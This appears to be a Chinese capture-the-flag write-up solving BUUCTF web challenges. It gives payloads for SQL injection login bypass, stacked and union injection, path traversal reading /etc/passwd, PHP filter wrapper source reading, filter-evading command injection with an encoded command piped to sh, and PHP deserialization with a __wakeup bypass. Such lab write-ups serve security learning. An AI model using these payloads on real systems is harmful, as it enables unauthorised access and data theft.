BUU CTF WEB [极客大挑战 2019]EasySQL1] 帐号输入 ‘ or ‘1’=’1
密码输入 ‘ or ‘1’=’1
flag{b43c9a0f-dd16-4432-a859-253f56cd993b}
[极客大挑战 2019]Havefun1] F12查看源码,查看到提示
1 2 3 4 5 6 7 <!-- $cat=$_GET['cat']; echo $cat; if($cat=='dog'){ echo 'Syc{cat_cat_cat_cat}'; } -->
通过get请求使cat参数值为dog即可获取flag
?cat=dog
payload: http://7985269e-06f7-431a-9938-ff0e590251cf.node3.buuoj.cn/?cat=dog
flag{90b2e805-de37-428a-8911-bfd1ab0bb3ae}
[SUCTF 2019]EasySQL1] Give me your flag, I will tell you if the flag is right.
试了特殊符号,没有回显,sqlmap也没跑出来
这道题目需要我们去对后端语句进行猜测,有点矛盾的地方在于其描述的功能和实际的功能似乎并不相符,通过输入非零数字得到的回显1和输入其余字符得不到
回显来判断出内部的查询语句可能存在有||,也就是select 输入的数据||内置的一个列名 from 表名,进一步进行猜测即为select post进去的数据||flag from
Flag(含有数据的表名,通过堆叠注入可知),需要注意的是,此时的||起到的作用是or的作用。
可以堆叠注入
1 2 1 ;show databases; 1 ;show tables;
非预期解
内置的sql语句为 sql = “select.post[‘query’].”||flag from Flag”; 如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容
预期解
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能
1 2 1;set sql_mode=PIPES_AS_CONCAT;select 1
输入的内容为1;set sql_mode=pipes_as_concat;select 1
其中set sql_mode=pipes_as_concat;的作用为将||的作用由or变为拼接字符串
Array ( [0] => flag{34e37110-652b-4656-b899-590fefa7c0c7} [1] => 1 )
ref: https://blog.csdn.net/qq_43619533/article/details/103434935
[ACTF2020 新生赛]Include1 存在目录穿越漏洞
http://326f1184-6af6-41e1-b6d7-146fbc0ac01f.node3.buuoj.cn/?file=../../../etc/passwd
但找不到flag,存在php文件里了,在访问php文件时,需要解释php,所以采用php伪协议转化为base64编码,来获取文件内容
1 ?file=php://filter/convert.base64-encode/resource=flag.php
1 2 3 <?php echo "Can you find out the flag?" ;
访问index.php
1 ?file=php://filter/convert.base64-encode/resource=index.php
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 <meta charset="utf8" ><?php error_reporting (0 );$file = $_GET ["file" ];if (stristr ($file ,"php://input" ) || stristr ($file ,"zip://" ) || stristr ($file ,"phar://" ) || stristr ($file ,"data:" )){ exit ('hacker!' ); }if ($file ){ include ($file ); }else { echo '<a href="?file=flag.php">tips</a>' ; }?>
[极客大挑战 2019]Secret File1] f12查看源码发现
href=”./Archive_room.php”
访问点击secret后啥也没发现,在Archive_room.php下发现 href=”./action.php”
访问./action.php后自动跳转至end.php,通过bp抓包获得
1 2 3 4 5 6 7 8 <!DOCTYPE html > <html > </html >
访问 secr3t.php 得到如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <html> <title>secret</title> <meta charset="UTF-8" ><?php highlight_file (__FILE__ ); error_reporting (0 ); $file =$_GET ['file' ]; if (strstr ($file ,"../" )||stristr ($file , "tp" )||stristr ($file ,"input" )||stristr ($file ,"data" )){ echo "Oh no!" ; exit (); } include ($file ); ?> </html>
阅读源代码只过滤了部分字符,可以通过php伪协议将flag.php进行base64编码输出
payload
1 /secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
flag{86cfc1f0-76c3-413a-9049-0f3cfee7cda3}
[极客大挑战 2019]LoveSQL1] 给了一句话使用sqlmap是没有灵魂的
用户名输入admin,密码输入’or ‘1’=’1
成功登录,显示如下
1 2 Hello admin! Your password is '4382e7984516bd7775c71b8b6a4aeae3'
但什么也没有,password也不是flag,那得采用sqlmap来试试,以失败告终。
采用爆破
爆破字段 通过以下来不断增加数字,来爆破字段
在输入框输入#符号时,采用%23来代替
1 /check.php?username=admin' order by 4 %23&password=1
爆破到4的时候
出现错误,说明字段数为4
通过union来测试注入点 1 /check.php?username=1' union select 1,2,3%23&password=1
用户名打印2,密码打印3
爆破数据库
ref: https://segmentfault.com/a/1190000022535775
[GXYCTF2019]Ping Ping Ping1] 过滤了空格,/, flag,还有{}等符号,采用$IFS$9来代替空格,<>也过滤了。
/?ip=i0gan.cn;a=g;b=f;c=.php;ls;cat$IFS$9index.php;echo$IFS$9fla$a.php;cat$IFS$9fla$a.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 /?ip= PING i0gan.cn (121.5.5.167): 56 data bytes flag.php index.php /?ip= |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo " "; print_r($a); } ?>
不知道为什么打印cat flag.php。
其他技巧 内联执行
sh命令
1 2 ?ip=1|echo $IFS$1Y2F0IGZsYWcucGhw |base64 $IFS$1 -d|sh
[ACTF2020 新生赛]Exec1] 啥也没过滤
payload:
[极客大挑战 2019]Knife1] AntSword直接连接,密码为Syc,在根目录下找到flag
flag{6e339abb-c408-45b5-883c-9bb75796058d}
[极客大挑战 2019]PHP dirsearch扫
扫描结果如下:
1 2 3 4 5 6 7 8 9 10 [16:04:20] 429 - 568B - /wsadmin.traceout [16:04:20] 429 - 568B - /wsadmin.valout [16:04:21] 429 - 568B - /wsadminListener.out [16:04:21] 429 - 568B - /wshell.php [16:04:22] 200 - 6KB - /www.zip [16:04:22] 429 - 568B - /xprober.php [16:04:22] 429 - 568B - /xshell.php [16:04:22] 429 - 568B - /xsl/ [16:04:22] 429 - 568B - /xsl/_common.xsl [16:04:22] 429 - 568B - /xsl/common.xsl
扫到了www.zip文件
存在class.php,flag.php,index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php include 'flag.php' ;error_reporting (0 );class Name { private $username = 'nonono' ; private $password = 'yesyes' ; public function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } function __wakeup ( ) { $this ->username = 'guest' ; } function __destruct ( ) { if ($this ->password != 100 ) { echo "</br>NO!!!hacker!!!</br>" ; echo "You name is: " ; echo $this ->username;echo "</br>" ; echo "You password is: " ; echo $this ->password;echo "</br>" ; die (); } if ($this ->username === 'admin' ) { global $flag ; echo $flag ; }else { echo "</br>hello my friend~~</br>sorry i can't give you the flag!" ; die (); } } }?>
php反序列化
index.php
1 2 3 4 5 <?php include 'class.php' ; $select = $_GET ['select' ]; $res =unserialize (@$select ); ?>
通过php构造Name 类序列化
1 2 3 4 5 6 7 8 9 10 11 12 <?php class Name { private $username = 'nonono' ; private $password = 'yesyes' ; public function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } }$a = new Name ('admin' , 100 );var_dump (serialize ($a ));?>
打印如下:
1 string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"
即序列字符串如下
1 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
由于在进行序列化的时候调用了__wakeup函数,导致usename重新赋值为guest,那么现在要考虑如何绕过__wackup
函数了。
如何跳过__wackup
函数,在反序列化字符串时,若属性个数大于实际的属性个数时,会跳过__wakeup
函数。
以上将2改为3即可
1 O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
不过还是没有结束,因为这个声明变量是private
private private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度
再次改造一下序列化
1 O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
ref: https://segmentfault.com/a/1190000022534926